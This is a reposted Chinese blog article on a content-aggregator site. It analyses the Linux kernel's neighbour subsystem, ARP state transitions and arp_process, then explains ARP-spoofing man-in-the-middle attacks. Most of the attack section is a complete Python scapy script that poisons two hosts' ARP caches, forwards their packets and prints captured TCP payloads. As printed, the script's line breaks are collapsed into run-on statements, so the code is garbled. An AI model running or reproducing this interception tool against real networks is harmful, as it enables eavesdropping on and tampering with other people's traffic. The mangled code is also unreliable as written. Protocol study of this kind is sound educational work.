新用户注册入口 老用户登录入口

[转载]从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现

文章作者:转载 更新时间:2024-05-03 13:04:20 阅读数量:559
文章标签:邻居子系统ARP协议IP地址解析MAC地址转换状态机机制中间人攻击
本文摘要:本文概述了邻居子系统在IP网络中扮演的关键角色,它是通过地址解析协议(如ARP)将IP地址映射到MAC地址,类似于操作系统中的内存管理。文章详细解释了邻居子系统的状态机模型,如NUD状态(从未初始化到失败),以及ARP协议的接收处理过程。中间人攻击的原理也被提及,通过伪造ARP应答,攻击者能篡改IP数据包路由。作者还展示了如何使用Python的Scapy库实现这种攻击,涉及发送伪造ARP请求和应答。整篇文章围绕邻居子系统、ARP、状态转换、IP/MAC映射、中间人攻击和Scapy工具展开。
转载文章

本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。

该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。

作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。

如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。

邻居子系统与ARP协议

邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。

其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议

邻居子系统的数据结构

struct neighbour{
....................
}

neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态

struct neighbour_table{
....................
}

每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl

neighbour_table 包含 neighbour

邻居子系统的状态转换

邻居子系统状态转换图

其状态信息是存放在neighbour结构的nud_state字段的

可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。

NUD_NONE:

表示刚刚调用neigh_alloc创建neighbour

NUD_IMCOMPLETE

发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE

NUD_REACHABLE:

表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态

NUD_STALE

在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态

NUD_DELAY

该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。

NUD_PROBE

类似NUD_IMCOMPLETE状态

NUD_FAILED

不可达状态,准备删除该neighbour

各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看

ARP接收处理函数分析

ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中

我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程

当为ARP请求数据包,且能找到到目的地址的路由

如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理

如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址

当为ARP请求数据包,不能找到到目的地址的路由

不做任何处理

当为ARP响应数据包

如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址

中间人攻击原理

通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。

同理,向B中发送ARP请求包,其中源IP地址为A的地址

然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。

使用Python scapy包,实现中间人攻击:

环境

python3

ubuntu 14.04

VMware 虚拟专用网络

代码
#!/usr/bin/python3from scapy.all import *
import threading
import timeclient_ip = "192.168.222.186"
client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"
server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"
my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: # requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) #replysendp(pkt)if packet.op == 2: #replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join()

client_ip 为发送数据的IP

server_ip 为接收数据的IP

参考质料

Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制

https://blog.csdn.net/lickylin/article/details/22228047

转载于:https://www.cnblogs.com/r1ng0/p/9861525.html

本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。

该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。

作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。

如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。

相关阅读
文章标题:[转载][洛谷P1082]同余方程

更新时间:2023-02-18
[转载][洛谷P1082]同余方程
文章标题:[转载]webpack优化之HappyPack实战

更新时间:2023-08-07
[转载]webpack优化之HappyPack实战
文章标题:[转载]oracle 同时更新多表,在Oracle数据库中同时更新两张表的简单方法

更新时间:2023-09-10
[转载]oracle 同时更新多表,在Oracle数据库中同时更新两张表的简单方法
文章标题:[转载][Unity] 包括场景互动与射击要素的俯视角闯关游戏Demo

更新时间:2024-03-11
[转载][Unity] 包括场景互动与射击要素的俯视角闯关游戏Demo
文章标题:[转载]程序员也分三六九等?等级差异,一个看不起一个!

更新时间:2024-05-10
[转载]程序员也分三六九等?等级差异,一个看不起一个!
文章标题:[转载]海贼王 动漫 全集目录 分章节 精彩打斗剧集

更新时间:2024-01-12
[转载]海贼王 动漫 全集目录 分章节 精彩打斗剧集
名词解释
作为当前文章的名词解释,仅对当前文章有效。
ARP协议地址解析协议(Address Resolution Protocol)是一种在网络通信中将IP(Internet Protocol)地址转换为硬件地址(通常为MAC地址)的协议。在IPv4中,它主要用于局域网内设备间的通信,通过发送和接收ARP请求和应答报文,设备可以得知其他设备的IP-MAC映射关系,以便数据包能够正确地传输。
NUD状态机邻接状态(Neighbor Unreachable Detection State Machine)是描述邻居子系统中IP地址与MAC地址关联状态的一种模型。它定义了一系列状态,如NUD_NONE(未初始化)、NUD_STALE(过期)、NUD_DELAY(等待确认)等,用于跟踪和管理IP地址的可达性,当网络状态发生变化时,状态机会自动调整,确保IP地址解析的准确性。
中间人攻击一种网络攻击手段,攻击者通过伪造ARP应答,使目标主机错误地将自身或其他设备的MAC地址映射到攻击者的IP地址,从而窃取或篡改数据包。在中间人攻击中,攻击者能够拦截和操控通信,对网络安全构成威胁。文章中提到的ARP欺骗就属于中间人攻击的一种形式。
延伸阅读
作为当前文章的延伸阅读,仅对当前文章有效。
【标题】:深度解析:现代网络环境中ARP协议的革新与挑战
随着物联网、云计算和5G技术的快速发展,ARP协议作为网络通信的基础,正面临新的挑战与机遇。IPv6的广泛部署使得ND协议逐渐取代ARP,实现了更高效的地址解析。然而,ARP依然在某些场景下发挥关键作用,如老旧网络环境、设备迁移和网络安全防范。
近期,研究人员在《计算机通信》杂志上发表了一篇论文,探讨了新型ARP保护机制——Secure ARP,旨在防止ARP欺骗和中间人攻击。Secure ARP通过验证消息来源,确保只有可信设备才能发起地址解析请求,提高了网络安全性。同时,一些企业开始采用零信任网络架构,这要求ARP协议能够更好地适应动态和分布式环境。
此外,随着边缘计算的兴起,本地ARP缓存的管理和更新变得尤为重要。边缘设备需要快速、准确地解析IP地址,以支持低延迟服务。为此,业界正在探索基于SDN(软件定义网络)的动态ARP管理方法,以适应不断变化的网络拓扑。
总之,尽管面临新挑战,ARP协议并未被淘汰,反而在适应新技术趋势中不断进化。未来,我们期待看到更多创新性的解决方案,提升网络通信的安全性和效率。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
systemctl start|stop|restart service_name - 控制systemd服务的启动、停止或重启。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
响应式抖音课程培训学院类企业前端模板下载 01-21 jQuery点击显示隐藏更多文字内容插件 01-15 黑色设计师简历响应式网页模板下载 01-14 [转载]Tomcat启动时卡在“ Deploying web application directory ”很久的解决方法 12-19 Saiku LDAP集成登录失效问题:排查配置错误、身份验证及解决方案实操 12-01 Spring Cloud微服务架构中注册中心的必要性与服务间通信实践:服务发现、API契约与高可用性考量 11-23 MahoutIllegalArgumentException在Apache Mahout中的应用场景:矩阵维度不匹配与向量索引异常解析及参数有效性的API调用实践 10-16 [转载]Docker 相关配置文件路径 09-08 蓝色精品美容整形机构网站模板 08-29 本次刷新还10个文章未展示,点击 更多查看。
Gradle在持续集成中的关键作用:自动化构建、依赖管理与多项目构建实践及CI服务器集成 07-06 化妆品购物商城通用网站模板下载 06-27 响应式建筑装饰设计类企业前端CMS模板下载 04-14 微服务架构下用户认证鉴权:网关层统一处理与服务内部处理的比较及选择考量 04-09 响应式会议活动主题着陆页网站模板 03-24 Tomcat内存泄漏问题在Web应用程序中的解决方案:Servlet上下文管理、全局变量引用与弱引用实践及监控工具应用 03-15 Kafka消费者消费偏移量设置:auto.offset.reset策略与手动控制方法详解 02-10 [转载]JavaScript中的时间与日期、正则表达式和Function类型 01-24 大气简洁手机电子产品展示柜台前端模板 01-22 项目案例展示设计公司企业网站模板 01-18 Bootstrap博客后台管理系统网站模板 01-08
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"